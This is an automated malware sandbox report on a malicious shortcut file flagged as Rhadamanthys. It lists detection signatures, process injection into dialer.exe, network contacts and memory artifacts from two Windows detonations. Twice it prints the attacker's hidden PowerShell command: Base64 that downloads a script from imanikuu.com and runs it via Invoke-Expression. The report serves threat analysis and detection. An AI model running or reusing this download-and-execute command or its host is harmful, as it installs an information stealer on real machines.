Analysis Overview
SHA256
decbd662ecab295cb2c060232a6de8218843d671b7cb628aaf769ba4bcdf126f
Threat Level: Known bad
The file DOC692-692692.lnk was found to be: Known bad.
Malicious Activity Summary
Suspicious use of NtCreateUserProcessOtherParentProcess
Rhadamanthys
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 11:16
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 11:16
Reported
2024-04-05 11:18
Platform
win7-20240221-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2420 wrote to memory of 2716 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2420 wrote to memory of 2716 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2420 wrote to memory of 2716 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC692-692692.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2716-39-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp
memory/2716-38-0x000000001B620000-0x000000001B902000-memory.dmp
memory/2716-41-0x0000000001F30000-0x0000000001F38000-memory.dmp
memory/2716-40-0x0000000002ED0000-0x0000000002F50000-memory.dmp
memory/2716-42-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp
memory/2716-44-0x0000000002ED0000-0x0000000002F50000-memory.dmp
memory/2716-43-0x0000000002ED0000-0x0000000002F50000-memory.dmp
memory/2716-45-0x0000000002ED0000-0x0000000002F50000-memory.dmp
memory/2716-46-0x000007FEF58B0000-0x000007FEF624D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 11:16
Reported
2024-04-05 11:18
Platform
win10v2004-20240226-en
Max time kernel
147s
Max time network
152s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4960 created 2824 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 744 wrote to memory of 4960 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 744 wrote to memory of 4960 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4960 wrote to memory of 3656 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4960 wrote to memory of 3656 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4960 wrote to memory of 3656 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 4960 wrote to memory of 3656 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC692-692692.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 44.56.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.65.42.20.in-addr.arpa | udp |
Files
memory/4960-2-0x00000176C8760000-0x00000176C8782000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2yu0hllo.pcz.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4960-12-0x00007FFF169A0000-0x00007FFF17461000-memory.dmp
memory/4960-14-0x00000176C87D0000-0x00000176C87E0000-memory.dmp
memory/4960-13-0x00000176C87D0000-0x00000176C87E0000-memory.dmp
memory/4960-15-0x00000176C8DB0000-0x00000176C8E0E000-memory.dmp
memory/4960-16-0x00000176C8E10000-0x00000176C8E20000-memory.dmp
memory/4960-17-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-18-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-19-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-20-0x00007FFF348F0000-0x00007FFF34AE5000-memory.dmp
memory/4960-21-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/4960-22-0x00007FFF33500000-0x00007FFF335BE000-memory.dmp
memory/4960-23-0x00007FFF32070000-0x00007FFF32339000-memory.dmp
memory/3656-24-0x000002B02B420000-0x000002B02B429000-memory.dmp
memory/3656-29-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/3656-28-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/4960-30-0x00007FFF169A0000-0x00007FFF17461000-memory.dmp
memory/4960-32-0x00000176C8E10000-0x00000176C8E20000-memory.dmp
memory/3656-33-0x00007FFF348F0000-0x00007FFF34AE5000-memory.dmp
memory/4960-34-0x00000176C8E30000-0x00000176C9230000-memory.dmp
memory/3656-36-0x00007FFF32070000-0x00007FFF32339000-memory.dmp
memory/3656-35-0x00007FFF33500000-0x00007FFF335BE000-memory.dmp
memory/3656-31-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp
memory/3656-37-0x000002B02CFC0000-0x000002B02D3C0000-memory.dmp